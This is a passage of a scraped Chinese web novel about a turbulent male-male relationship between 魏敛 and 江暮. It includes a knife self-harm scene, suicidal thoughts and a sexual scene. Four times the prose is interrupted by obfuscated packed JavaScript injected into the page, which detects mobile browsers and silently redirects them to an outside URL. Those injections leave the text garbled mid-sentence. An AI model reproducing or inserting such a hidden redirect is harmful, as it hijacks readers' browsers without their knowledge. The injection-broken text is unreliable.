“我真的不爱你,到此为止吧。”我在施微和魏嘉昊的注视下,如释重负道,“我想了很久,那天是我冲动,冲动过后总总后悔,江暮,给我一个后悔的机会——” “我给你机会?”江暮喃喃,“......魏敛,你以前说过不会骗我的。” “......” 江暮说:“我想要当面和你谈谈。” 我说:“好。” “就在我家。” “嗯。” 江暮得到了我的回答后便挂断了电话,我将手机还给了我爸,说:“我现在回去和他说清楚。” 施微担忧道:“你俩好好说,别动手。” “不会的。”我不知道为什么能够笃定江暮不会对我动粗,正常人如果遇到类似的情况,大概拳头已经招呼上来了。 我到他家时江暮已经在客厅的沙发上坐着,屋子里烟雾缭绕,江暮正低头抽烟,目不转睛的看着手里的水果刀。 我站到他身边,拿走了他咬着的烟,放到自己口中吸了一口,慢悠悠的吐出烟雾:“拿刀准备做什么?” 江暮抬起头,透过缭绕的烟雾看向不真切的我,笑了笑:“我要是现在杀了你,你会怕么,魏敛。” “想要动手的话,可以,但别把自己赔进去,在监狱里蹲着没意思。”我食指的关节点了点他的额头,“到时候连烟都没得抽。” 江暮嘲讽的垂下眼眸,呢喃:“也是,你怎么会怕,你明明求之不得。” 我说:“分手吧,江暮。我们今天将事情说清楚了。” “我们不是复合了么?” “所以现在我在跟你提分手。” “给我一个理由。”江暮说,“你前些日子明明才答应我复合。” 我缄默两秒,轻声道:“我可能确实不喜欢你。” 江暮笑了:“我知道啊,你不是说过了吗,一直不喜欢我。” “因为不喜欢你,我做了很多伤害你的事。”我说,“所以时常让你感到痛苦,江暮。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087953|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江暮立马道:“我从没觉得。” “那是因为你擅长欺骗自己。”让自己以为这样的痛苦是爱的恩赐,“但欺骗过后,并不代表那些不存在。” 江暮抓住我的衣袖,声音颤抖道:“我说我不在乎,我不在乎啊魏敛,我不在乎的事情,你为什么总是要替我决定?”他低声哀求,“你不能,你不能给了我希望,又将这些希望夺走——” “......”可能在关于江暮的事情上,我已经习惯了独断专行,“长痛不如短痛。” 江暮想上辈子自己究竟做过什么伤天害理的事情,让他爱的人一个又一个决绝果断地丢弃他,打着为了他好的旗号,实则到头来获得解脱的都是他们自己——如此草率轻浮的,仿佛在昭告他江暮连垃圾也不如——至少丢垃圾之前,会寻找一个可以容纳垃圾的垃圾桶。 他低声笑道,“好啊,好啊,好一个长痛不如短痛。” 他突然拿起桌上的水果刀,将刀尖对向了自己,“魏敛,你别想丢开我。”江暮认为是孙伊佳的死让我变成了现在这样,使我惦念不忘,既然如此,那自己也去死好了,自己去死了,也能被记一辈子了。 这次谁也不能先一步不要他:“魏敛,是我先不要你的。” 我认识到他是认真的。 江暮刺向自己的动作不过一秒,这一秒多年后仍然会在我的脑海里偶尔回放,我们之间到底谁伤害了谁,没人能理清楚,然而一切在生死面前都变得无足轻重。 我只记得那时我的身体发抖,血液倒流,毫不犹豫地徒手抓住了那把刀,用尽所有力气紧紧握住它,仿佛握住的是江暮伸出的手,我不知道自己什么时候流下了眼泪,在我的记忆里,这应该是我第一次哭,也是最后一次。 我哑声道:“......别做傻事。” 江暮怔愣的看着我的手,红色的血液刺痛了他的眼睛,他松开了刀,我将它猛地丢到地上,张开双臂对江暮说:“手很痛,过来抱一下。” 江暮魂都像丢在了外面:“我,我不想你......”他慌张道,“对,医,医药箱,那里有纱布和碘伏。哥,哥你等我——” 我用没有受伤的手将他拢进怀里,这才发觉江暮同我一样,整个身子都在不住的细细颤抖,我叹了口气,这什么什么?同病相怜? 我低下头用他的衣服胡乱的擦了擦自己脸上的泪痕,说:“......死小孩,你真是懂得怎样收拾我。” “......对不起。”江暮哭了,他紧紧攥住我后背的衣服,“对不起,对不起,对不起,都是我的错。”他的哭声十分收敛,似乎不想让我困扰,“分手...分手啊——”他咬紧牙关抑制住哭腔,“为什么又要分手啊,为什么,为什么。” 他说:“叔叔阿姨要是不同意我可以永远没名分啊,没关系的,我不在乎,我不在乎——” “......”我轻声说:“江暮,他们只是借口。” “真正想退缩的是我。”我说,“我厌恶这样对你的自己,也无法确定以后会不会更加让你受委屈。”我摸了摸他的头发,“江暮,我明知道反悔,向你提分手这一件事对你打击会有多大,可我依旧没有犹豫这样做了,你能够明白吗?明白这样做的我,不值得你喜欢。” “哥,哥,值得,值得的。”他将连脸埋进我的肩膀上,闷声道,“哪怕让我身无分文去当乞丐,去朝别人双膝跪下来,我也仍然觉得值得。” 江暮想,从那天你在江家向我伸出手,说‘你好江暮,我是魏敛’起,他的一切就都属于这个人了。 我看见自己手上的那道伤痕不停的淌出新的血液,顺着指节滴落到地板上,很奇怪,我并没有感觉到多大的疼痛,也没有担忧这个伤口是否会影响到自己绘画,唯一的念头是:我的生命并没有多珍贵,但江暮却应该去学着享受这个世界。而如今他将自己的命与我紧紧绑在一起,假若有一天我放弃了自己,同样也放弃了他。 “......”我不知为何笑了,用流血的手抚摩江暮的脸,在他还没反应过来的时候,看着他脸上的那红色的痕迹,仿佛看见了我的心。我低下头亲吻他的嘴唇,说,“……这次确实是你赢了。” 14. 出院 因为手受伤了,还是右手,这段时间江暮看我看得很紧,他提出在家办公,我严词拒绝了,说如果不忙的话可以,很忙的话不行,你这样是在增加我的心理负担。 大概是我说的太有道理,江暮反抗了几句后发现不能改变我的想法,便只能乖乖接受了这个事实。 “以后不会和我分手了吧?”睡前江暮躺在我身旁,黏糊的贴着我,抬头小心翼翼地念叨:“魏敛哥,魏敛哥,魏敛哥——” 我被念的不耐烦,用没受伤的手盖住他的脸,说:“不分了。” “你上次也是这么跟我说的。” 我被堵没话了,好笑道:“你把天聊死了,江暮。” 江暮在那嘟囔:“死就死了,管它呢。” 我看了他一会儿,也没什么表情,江暮也看着我,半晌垂下眼帘,小声:”......我害怕。“ 这人就是拿准了我吃这套,我无奈的亲了亲他的眼尾,说:“这次只有你才有权力提分手,行了么?你要是不信咱们就签字画押。“虽然也没什么法律约束力。 江暮见好就收,窝在我怀里撒娇:“哥,咱们下次能不去就不去医院了,好不好。” 我挑眉:“不是你说伤口看起来很严重,硬是拉着我去医院重新包扎的么?”我说,”江暮,你为什么想要做那些事呢?伤害自己去夺取我的注意力,你觉得这对吗?” “......” 我见他沉默,便明白了他心中所想——可能不对,但如果真的能达到那样的目的,江暮大概还是会做的。不过下次他一定会吸取这次的教训,不误伤我。 我说:“江暮,我想我应该好好和你解释一次。” “解释什么?”江暮疑惑。 “我对孙伊佳,从来没有爱情的成分,她也同样。她知道我们在一起后,甚至叮嘱我不要欺负你。” “她很重要,因为我们是从小一起长到大的朋友,而她投河的几个小时前,我们还在车上侃侃而谈。” 回忆过往对我来说并不是一件好事,因为过往的遗憾太多,那些遗憾总总会提醒我,你明明可以挽救,事实上却一事无成,“同样的,你也很重要。如果你不重要,我不会现在躺在这里和你说这些话。” 江暮沉默了,我问:“你有什么想反驳的?” “......不是反驳。”江暮抓住我的袖子,“我只是想问你,这三年,你有没有想出来见我。” 我笑了下,反倒提出另一件事:“其实我知道,这三年里我卖出去的画,有一半以上都是你高价收的。” 江暮愣住了,嗫喏道:“......你怎么知道的。”他明明是让人代买的。 “我一个名不见经传的破画画的,署名还不是我的真名,哪里会有人用那样高的价格长期买入。” 江暮说:“我每次都是委托不同的人。” “所以才更奇怪。”我捏住他的鼻子晃了晃,“小朋友,你的心眼到底留哪去了,你这样会让我很担心你在江氏怎么斗得过那群人。” “蠢点好。”江暮抿抿唇,依恋地看我,“蠢点哥才管我,否则哥就去可怜其他人了,那我可怎么办。” 我愣了下,江暮之前在车里还质问我对他的感情,好像十分厌恶我和他在一起那么多年竟然只是怜悯,现在倒好,风风火火的闹了这么一出,江暮似乎底线一退再退。 “没人比你更蠢。”我叹了口气,却没说别的,我更应该告诉他,不只是怜悯。 “什么时候我们能出去再旅游一次?”江暮有些困了,打了个哈欠,“我每年都以为你会回来,盼着你回来后和你去。” “等你有空了。”我拍拍他的后背,“睡吧。” 江暮很好哄,哪怕之前对他再过分,给几句未来的美好承诺就会失忆般又贴过来。很多时候我不想他这样,我希望他更记仇一些,更睚眦必报一些,敛去多余的宽容,但转念一想,他或许只是对我这样。 说不上这到底是什么感觉。 翌日我醒来时发现桌上已经放好了早餐,还有一杯温过的牛奶,上面贴着一张便利贴——江暮的字和他在外表现出的谦卑乖巧不大一致,是典型的江湖体,虽然大众认为这样的字体十分潇洒漂亮,不过让学过书法的人来看大概会批判的一塌糊涂——我捏住这张纸条,摇头:“真该让他好好练练基本功。” ‘不准倒,我亲手做的,一定要吃完。’ 我早上一般没什么胃口,也不会为了所谓的健康逼迫自己吃东西,所以饮食习惯算不上好,江暮发现后软硬兼施,一定要盯着我把东西吃完。但现在他人又不在,我怎么处理他管的着? 想着我在座位上坐了下来,喝了一口牛奶:算了,人家去公司前都念着我的饭,给个面子又能怎么样。 施女士这时候突然给我打电话,我逃避了两秒,还是选择接了起来:“喂,妈。” “小敛,怎么样了?没打起来吧?” “没有。” 施微松了口气:“那就好,江暮那孩子身世是可怜,但一码事归一码事,你俩不适合在一起。” “妈,我——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087954|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她不给我说话的机会,短顿了下,继续,“你要是喜欢男的,我和你爸也不是不能接受,就是这男的哪有一个安分的,你容易被那些人欺负。不过你还记得吴姨吗?她有一个儿子,听说也是——” 我听她越扯越远了,再不制止恐怕要给我安排相亲了,要是让江暮知道还了得:“不用了。”我将电话拿的远了点,“我和江暮没分成。” “......”施微静了一秒钟,但我深知这是暴风雨前的宁静,果然下一秒她立马道,“魏敛!你要死啊?你和江暮扯上那种关系对你来说没有好处!” 我摸摸鼻子:“嗯,我知道。” “你就那么喜欢他?” 我一时摸不准是回答‘嗯’还是‘不’才能让我妈不那么生气。 施微无法理解:“如果你不是那么喜欢,就是狠不下心对不对?收起你的同情心,现在江暮的身价不需要你去同情!你还以为他是十年前那个受人拿捏的小子?” 我向来说不过我妈,只能服软看看有没有效果:“我跟他不会长久的,先谈着吧妈,跟他闹僵更没好处。” “你就实话告诉我,没分成的原因是什么?” “......”总不能告诉她江暮昨晚那副寻死觅活的样子,想了想道,“你就当是喜欢吧,舍不得。” 施微恨铁不成钢:“你听我的,跟吴阿姨的儿子见一面,昨晚我跟她都说好了的。她儿子我见过,白白净净的,说话又斯文,长相不比江暮差到哪里去。” 我震惊了:“妈,我跟江暮没分手,你这也——” “你去见,见了面有感觉,不讨厌,我替你去向江暮道歉。” “妈,我不能答应你。” 施微忽然放软了语气:“不是妈逼你,你长这么大,我和你爸从来没逼过你什么,只是等到时候我们老了,你一个人,又两耳不闻窗外事,万一受了江暮的委屈,没地说理去。” 说着她叹了口气,“我知道我们的重心都放在工作上,偶尔会对你忽视,但你是我们唯一的孩子,我们替你担心,怕你受别人欺负的时候,我们不在。” “......” “你放心,你见这一面如果没什么感觉,我和你爸以后都不提这事了。你的人生到底是由你自己做主,我们插手太多,不该也不对,所以就这一次,让我和你爸死心。” 我妈讲话向来如此,明明强势,却总能让人接受,我长长叹了口气,打算到时候和吴阿姨这位儿子说清楚就道别,便应下了:“……那就见一面。时间你安排吧。” 15. 回忆 江暮这些年长高的很快,因此高中三年常常在夜里生长痛,偶尔实在难受就会和魏敛通话,大部分时间魏敛都已经睡了,他就静静的听着无人接听的机械女声闭上眼睛,有时候魏敛熬夜,就会接起他的电话。 夜晚的任何声响都会在人耳朵里放大,所以江暮能听到魏敛静默时的呼吸声,这样轻微的呼吸声让江暮的心也跟着一起跳动。 “有事?” “我......”江暮的脸红了,“我......” 魏敛笑道:“我懂了,你其实没什么事,纯骚扰人。” “没......魏敛哥,我腿疼。” “摔着了?” “不是......我也不知道为什么,晚上总疼。” 魏敛耐心道:“那应该是在长高,明儿去买点钙片补补。”说完又反应过来,笑了,“哦,我知道了,想让你魏敛哥给你买?” 江暮小声道:“那你给我买吗。” “别撒娇。”魏敛转了一下手里的笔,往后仰靠在背椅上,“给你买一箱行了吧。” 江暮不差那点钱,江晖会定期给江暮一笔钱作为其余开销,毕竟是江家的孩子,在外一股穷酸样是万万不能的,可他就是想要魏敛给他买东西,魏敛给他的是不一样的。 那天魏敛的心情应该不错,亲自过来送,直接开车到学校,在午饭的时候打电话过来跟他说:“高一的江暮小朋友,你的哥哥送来了一箱钙片,过来查收一下。” 他开了一辆特斯拉停在校门口旁的马路边,车窗落下,阳光正照在他的侧脸,左耳不知道什么时候又多添了一枚耳钉,镶着一颗红色的宝石,那抹红由太阳的光折射进江暮的眼里。 魏敛向他招手,待江暮站在他眼前先是上下打量了一番,下结论:“瘦了。” 江暮抿抿唇:“你来啦。” 魏敛见他这副模样不由得露出笑脸:“知道给你送礼来了?这么拘谨。” 江暮说:“你真买了啊?” “在后备箱。”魏敛说,“不过你学校也没地方放,你先拿两盒过去吧,我是顺道路过这儿,就停下看看你,待会儿我带到你家,让你家管事的王姐丢你屋里去。” 江暮没动,魏敛疑惑:“怎么了?” “......你好久没找我了。”每次都是他主动打电话发消息才理人。 魏敛乐了:“我也是有事要做的,这段时间毕设尾声,又不是故意的。”他心情不错的时候,对待亲近的人就会比较主动和随和,这会儿伸出手,朝江暮勾勾手指,江暮将自己的手放了上去,魏敛不轻不重的握住,称量一会儿:“嗯,跟握着骷髅一样,多吃点,怪不得晚上痛呢。” 江暮忽然问:“哥,你多高啊?” “嗯......我好久没量了,上次学校体测量的身高是187,不过那机器不准,因为去年它量的是188,前年又是186,鬼知道它到底从哪量起的。” “那我要向着190长。”这样就能保护魏敛哥了。 魏敛愣了下,也不好打击小孩积极性,魏敛高那是家里那二老都高,至于江暮——江暮的亲生母亲并不高,江晖更是典型的南方男人,长相是,身高也是,一米七五左右的个子,不过好在脸撑起了这样不出众的身高,否则陈浣这样明艳的美人恐怕不会看上他。 魏敛委婉道:“那你多补补钙,也不是没机会。” 魏敛对江暮的‘志气’并没有当成玩笑话,反而承包了江暮这三年的营养保健品。 江暮也没辜负魏敛的支持,最后硬是长到了一八三,虽然江暮对此并不知足,不过魏敛一句:‘我不喜欢比我高的,你这样就可以了’,将江暮那点小心思给消弭干净。 魏敛大四的时候,也不知道是谁那么缺德,把他的微信号给卖出去了。魏敛天天看着微信上面的那些个红点很头疼,将设置里所有的添加方式全部关闭,终于是清净了阵。但想了想又实在不解气,发了条朋友圈警告:别把我微信号擅自推给别人。 他这条没屏蔽任何人,甚至连爸妈都没屏蔽,不过施微和魏嘉昊的朋友圈里向来人多,他这小小的一行字,早就淹没在茫茫人海中。 魏敛不爱在社交平台上发布东西,他注重个人隐私,连朋友圈一年都发不了几条,脾气好,人又帅,如果发朋友圈那指定是有事,大家伙一看到全涌了上来。 【呦小魏同学的朋友圈,稀客,看看这是谁来了。@我是米开朗基罗 @留个长发怎么就流浪汉了 】 【谁卖我男神微信号!审判!】 【有谁加你啊?男的多还是女的多?】 【不是我卖的魏哥,我对你的忠心日月可鉴。】 魏敛看了更头疼了。哪能想到晚饭的时候江暮还特地小窗口他问这事,魏敛没瞧出来他这样八卦。 ‘魏敛哥,现在还是有很多人加你吗?’ ‘下课了?’ ‘嗯。’江暮回的很快,‘所以你现在知道是谁了吗?’ ‘不知道,这哪能找出来。’魏敛转头开始念叨,‘高二了,别总玩手机,下次再被我抓到可没那么好说话。’ ‘我吃饭的时候看到的。没有在上课的时候玩。’ 魏敛愣了下,哦是,这个时间点是该吃晚饭了,不过他什么时候吃饭全凭自己的胃有没有传达出那个意思。 江暮却十分了解他,质问:‘哥,你是不是又不打算吃晚饭了。’ ‘没。’魏敛对小孩说谎毫无负担感,‘点了外卖,等会儿就来了。’ 江暮突然问:‘你之前说高三毕业后就带我出国玩还算数吗?’ 魏敛想了下,没想起这回事,不过体谅这小孩最近压力大,便没说自己忘记了,糊弄过去:‘到时候你护照和签证都办下来了,你想去哪我带你去。’ ‘我就想跟你去N国......魏敛哥,你是不是忘记了?’后面跟了一个比格犬落泪的表情。 在魏敛心里江暮现在算半个亲弟弟,被这样质问不免心虚的摸摸鼻子:‘没有的事,别多想。’ 放下手机魏敛在沙发上躺了会儿,说实话他现在已经本科毕业,照理说要么考研要么工作要么创业,三个选择条条路他都可以走,然而现在的情况是,他像条死鱼一样躲在家里,除了朋友约他出去,就是呆在自家的画室里。 这样不对。他将抵着鼻梁的黑框眼镜摘了下去,迷茫的望向天花板,他得找点事来做,得找点事,他得——魏敛闭上眼,无厘头的想着——要是现在有人能入室抢劫然后顺手一刀捅死他就好了。 “你想打舌钉?”孙伊佳一口奶茶没敢喝下去,“大少爷,你又发什么神经了。要是被你爸妈发现了不得气疯。” 魏敛无所谓道:“都是忙人,除了在家吃晚饭,哪里能注意到这个。” “行啊,去打吧,要姐陪你么,给你一点勇气。”孙伊佳拍拍他的肩膀,又劝导,“虽然看起来很酷,但你可别上瘾,到时候打完舌钉不够,又要去打唇钉,打完唇钉又要——” 魏敛说:“保不准呢。” 孙伊佳夸张道:“那你到时候岂不是四处漏风?” 魏敛笑骂道:“滚你的。” 孙伊佳不理解:“我没明白这种除了装逼还有什么作用,这不纯受罪么?”转念想到魏敛的精神状态,摇头,“算了,可能你就需要这种缓解压力。” “嗯。” “还嗯上了,定期看医生和吃药比什么都管用。” “我又不是没遵守医嘱。”魏敛满不在乎,又想到什么,“等江暮高考完,我带他出趟国。” 孙伊佳疑惑:“咋了,你要人口拐卖?” “他说我答应过他带他去N国,我没什么印象,可能跟我记忆力越来越差有关系。到时候等他办完证件带他玩几天。” 孙伊佳可恨道:“我也没少给江暮画饼啊,咋没见我的这个好弟弟把我的饼当真?” 魏敛笑:“因为人家就是更喜欢我。” 孙伊佳怒了:“好啊,终于说实话了。” 魏敛补充:“再说了,人家要是真这样问你了,你又该愁了。” 孙伊佳反应过来:“也是,我毕竟是女生嘛,要真这样对我黏糊就奇怪了......不对啊,魏敛,你长这么大没少有男生跟你告白吧,江暮他——” 魏敛挑眉,放下手机正眼瞧她:“你可别给我乱想,江暮才多大?我一个无业人员你少在我身上扯淡。” “我这不是......”孙伊佳越想越不对劲,江暮在魏敛的这群朋友面前确实很乖,但乖的十分有疏离感,可面对魏敛又不是那么回事了。 奈何魏敛在这件事上不准她乱说,毕竟江暮在魏敛心里的地位不是亲弟弟胜似亲弟弟,说多了魏敛要急,便含糊过去,“这不是直觉么......不过我直觉向来歪得很,随口一说。” 魏敛警告:“以后别这样乱说,江家管他管的很严,要是被多事的人传出去,他又要被江晖教训。” 孙伊佳说:“啊好好好,我知道,我还能害他不成,喜欢他还来不及呢。” 等到再次见到江暮,已经是高考完了,那天魏敛遵守诺言,在校门外接他,江家本是派了人过来的,不过江暮说魏敛哥答应过来接他,可不可以让他跟魏敛走。 江晖想着魏敛也不是什么乱七八糟的人,就没为难江暮,只是叮嘱他不要在外面给他惹事丢脸。 他听见收卷的铃声响起,监考老师按照顺序收走了他的卷子,江暮走出考场的那一刻,好像依然觉得以后和之前那些日子没什么不同。 他的人生早就被江晖规划的明明白白,按部就班日复一日,不能出现任何偏差—— 从离开燕之琪开始,江暮一直都在按照江晖的意思活着。乖巧听话到他甚至会时常听见江晖叹气,说要是你哥哥有你这么懂事就好了。 江暮从没有回答过他的这个假设。因为他的人生注定会脱离江晖幻想的轨道,毕竟他拥有无法舍弃,为之前进的最大的偏差—— “饿了么?去吃饭吧。”魏敛将戴着的墨镜随手塞进了口袋里。 孙伊佳他们已经在餐厅等他俩了,本来那群人想过来一起接的,不过让魏敛给拒绝了,阵仗太大,没必要。 江暮心里有事,又不知怎么说出口,在委婉和直白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江暮着急了,他低下头,双手拿起魏敛的右手就往自己头顶放,抬眸可怜巴巴的瞧他,软声道:“魏敛哥……我真不是那个意思……我是说……我是说……我……”他的脸突然涨红,连眼睫都在发抖。 魏敛低眼看了他一会儿,勾唇轻笑道:“怎么,又反悔想要当小孩了。” “不是!” “好了,不逗你了。”魏敛拍拍他的脑袋,“上次带你去见了我的那群朋友,你还有印象么?” 江暮眨了眨眼:“有,怎么了哥。” “上次见完后他们都挺喜欢你的,现在人全餐厅等我们,特地过来给你庆祝‘脱离苦海’,到时候要是太热情你受不住,就往我身后躲,我让他们收敛点。” “……” 魏敛见江暮不说话,疑惑的‘嗯’了声。 江暮低头扣自己的手,紧抿着嘴唇,是个人都能瞧出来是不高兴的意思。 魏敛耐心告罄,但又不想在今天犯病,舌尖抵住腮帮,缓了几息,才如常道:“那这样,我先送你回江家,然后我去跟他们先吃顿饭,吃完后我和孙伊佳再给你单独庆祝一次。” “……” “江暮。” “……不用。” “……”魏敛笑了,“行,那不庆祝了,送你回家。” 江暮小声道:“就不能我们两个人吗?” 魏敛没听清,也懒得听清,干脆捡起老本行——装哑巴。 江暮等了许久没见回复,额头竟然渗出了汗,他拿手抹掉后又有点想哭。 “……”江暮忍住泪意,倒不是委屈的想哭,他是害怕,他害怕魏敛对他这样冷漠,他说,“……我要去。” 魏敛没搭理。 “魏敛哥,我要去。”江暮扯扯他的衣袖,“我没说不去呀。” 魏敛摇头:“不喜欢就别勉强,本来这个饭局是为你庆祝的,你要不乐意还逼迫自己去,性质就变了。”顿了顿道,“怪我,他们提出这个想法的时候我没拦下来,也该想到你会不自在的……”说完又叹了口气。 “……没有不自在。”江暮说,“我真的想去,哥。” 魏敛总觉得他压根不想去,改变主意完全是因为自己。 “行了,别多嘴了,想去就下次再说,我现在先送你回家。” 江暮哪可能真让他送回家,他一不想跟魏敛的朋友闹出隔阂,二想时时刻刻跟魏敛待着,三他不想魏敛费心思替他打圆场,干脆开始念咒起来:“我要去我要去我要去我要去我要去……” 把魏敛听乐了,骂道:“发什么神经。” “我,要,去!” 魏敛哼笑一声,趁等红绿灯的空挡,向江暮的方向伸出右手说:“过来,自觉点。” 江暮看了看他的掌心,又看了看魏敛,犹豫两秒,魏敛淡淡的瞥他一眼,江暮立马把下巴放了上去。 魏敛满意的笑了,捏住他的两颊,警告道:“下次还闹不闹了?” 江暮摇头。 “行,那就去吃饭。” 16. 出院 “对了哥,我明天得临时出一趟差。”江暮一回来就奔到画室来找我,这个画室是他特意留出来的一间空房子,朝阳,除了我的绘画工具和作品就没别的东西。 他蹲到我身旁,眼睛看向画布,又看看我,伸出拇指抹掉了我脸上不小心沾到的颜料,结果反倒划出一道更长的痕迹,他心虚的收回手,“......那边的合作项目出了点问题,大概要去两三天。” 我愣了下,心里竟然生出一种庆幸,我这几天正在苦恼到底是该瞒着江暮去‘相亲’还是坦白,我不愿意欺骗伴侣,不过依照江暮的性子,如果和他说了实话,到时候一定会在后头跟着,他眼里容不得一点沙子——指不定会闹出什么事来。 现在好了,他要出差,不会知道我外出,我也只是应付一下午,等他回来我妈那边解决好了,也不用骗他,一举两得。 想到这我郁闷的心情都变好许多,低头看向蹲着的江暮,他正也抬头望向我,疑惑的微微歪头‘嗯?’了一声:“哥,你刚才好像好像有点高兴。”他讲完自己又不开心了,小声嘟囔,“为什么我出差你要高兴?......就那么不想看到我。” 我的手覆住他的后颈,弯腰亲了他一下,江暮有些发懵,眨了眨眼,然后立马仰起脖子追上我将离未离的吻。粘糊得很。 我打着逗他的意思往后撤,江暮恨恨地瞪我,抓住我的手臂,撑起身子强硬想要再讨要一个亲吻。 “......干嘛要躲。”江暮质问,“你先亲的,你不讲道理。” “嗯,我不讲道理。”我笑咪咪的应承下来,弯起眼睛,“晚上还有其他事吗?” 我都这样说了,那就是我对他晚上的时间有安排的意思,江暮就算有事也要说成没事,果然他连忙摇头,我下巴抬了下示意道:“去前面那沙发上趴着。” 江暮看着那个小沙发,依言走了过去,但是为难道:“这个沙发太小了,我趴不下来,只能蜷着腿。” 我说:“那就蜷着,双脚不能沾地。” 江暮奇怪的看了眼我,欲言又止,我说:“你有什么想说的。” “没......你吃饭了吗?” “你饿了?” “唔......没。”大概是我难得有兴致,他没再多嘴,穿着白衬衫西装裤将自己缩在沙发上。 我从卧室的某个柜子里翻出来几样东西,回到画室江暮正侧身回手机上的消息,见我来了先是把手机调成静音甩到一边,然后才看到我手里拿着的东西。 他瞬间瞪大了眼睛,耳垂红的滴血,支支吾吾:“哥,你,你从哪——” 我好笑道:“不是你自己从网上买的吗?买来又不用,放着都要落灰了。” “......我以为你真不行了,所以才,后面发现没有,是误会......你只是不想和我做那个事。” 说着他就想下来抢走这些东西,被我一个眼神定在原地没敢动,江暮窝囊道:“你好烦......” 我审视了一下手里的物品,点头:“是有点烦。那你要不要听我的话?” “......” “听不听我的话。” “......我又没动......干嘛明知故问。” 我只是重复这个问题:“江暮,你要不要听我的话?” 江暮咬住下嘴唇,脸都要憋红了,心里两个小人在打架,恶魔江暮说这个魏敛太坏了!他就是故意要看你窘迫的样子,你现在答应了等会儿还不知道要在这个沙发上受多少苦呢,天使江暮轻飘飘的来了一句:可是他是魏敛哎。 恶魔江暮:...... “我在听啊。”江暮把自己的脸埋住,半跪趴着,黑发里露出通红的耳朵,“我不是在听吗。” 有点可爱。上一次感觉江暮可爱都不知道是几年前了,他现在二十五的年纪,说年轻那是肯定的,但要称可爱那真是有点毛骨悚然了。 我一边心里毛毛的一边忍不住笑,靠近他,拍拍的后尾椎的地方,说:“江暮,这些东西买来给谁用的?” “......你。” “哦?”我玩味的拿东西敲了下他的脑袋。“我?” “......就是你。”江暮闷声道。 我俯下身盖住他,手顺着空隙摸到了他的嘴唇,贴住他的耳朵低声问:“宝贝,给谁用的?” 江暮唔了声,整个人抖了下,把脸埋的更深了,他哽咽道:“......你犯规。” “犯规?犯的什么规。”我笑着发问,“家里的规矩不是我来定吗?” 江暮硬是没想出来该怎么反驳,沉默两秒干脆自暴自弃,他想着和好的这段日子里这是我第一次对他有兴趣,实在没法拿出勇气拿乔,手指抓住我的衣领,撇头露出一只湿漉漉的眼睛看我,抿抿唇:“......给我用的。想要哥给我用。” “你自己试试。”我把东西放他手上,“江暮现在这么大了,已经学会自己动手了对不对?” 江暮堪称惊恐的扭头看我,我报以一个微笑,大概是过于咬牙切齿,我看到他腮帮子鼓了起来,我们之间谁也没说话,最后在我慢慢直起身的时候,江暮抢过东西,哑声道:“在这?” “嗯。” “那你呢?” “我?”我摸了摸他的头发,“我的画还没完成呢。” “......” “不行的话,我不逼你。”我‘善解人意’道,“起来吧,去吃晚饭。” 他的声音突然变得十分奇怪,像是从喉咙底里嘶嚷出来,狠厉却又颤抖道:“你没感觉。所以让我自己来。” 我蹲下来平视他漆黑的眼珠,静静瞧了他一会儿,江暮的眼眶反倒越来愈红,我怕再不说话他又要被吓哭,安抚地笑了笑,“晚上我会亲自来的。不过现在我想要你自己辛苦一下。”我亲了亲他的眼尾,轻声反问,“不好吗?” “唔......”江暮哽咽了下,把头埋进手臂里,怨恨道,“好烦......魏敛,你对我一点也不好。” 我不禁笑了:“不好吗?那你拒绝我,你有这个权利,我也支持你行使这个权利。” 江暮缄默下来,极其小声的嘀咕了什么,然后解开了扣子—— “别哭了。” 已经十分钟了,江暮一句话都没说,连看都不看我,可想而知心里憋着一股怎样的气。 我坐在椅子上,慢悠悠的往画布上抹上一笔,睨了眼沙发上咬着牙还浑身发抖的江暮,他听见我说话,艰难的瞪了我一眼,眼泪就顺着这一瞪落下来。 我明知顾问:“很难受?” “呜......我讨厌你。”他抓住沙发的手背青筋鼓起,恶狠狠道,“晚上你要是......嗯......食言......” 我知道他指的是我亲自来,存心逗他:“改天吧,今天你已经很累了。” 江暮:“......”他满脸被耍了的不可置信,愣着看了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087956|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 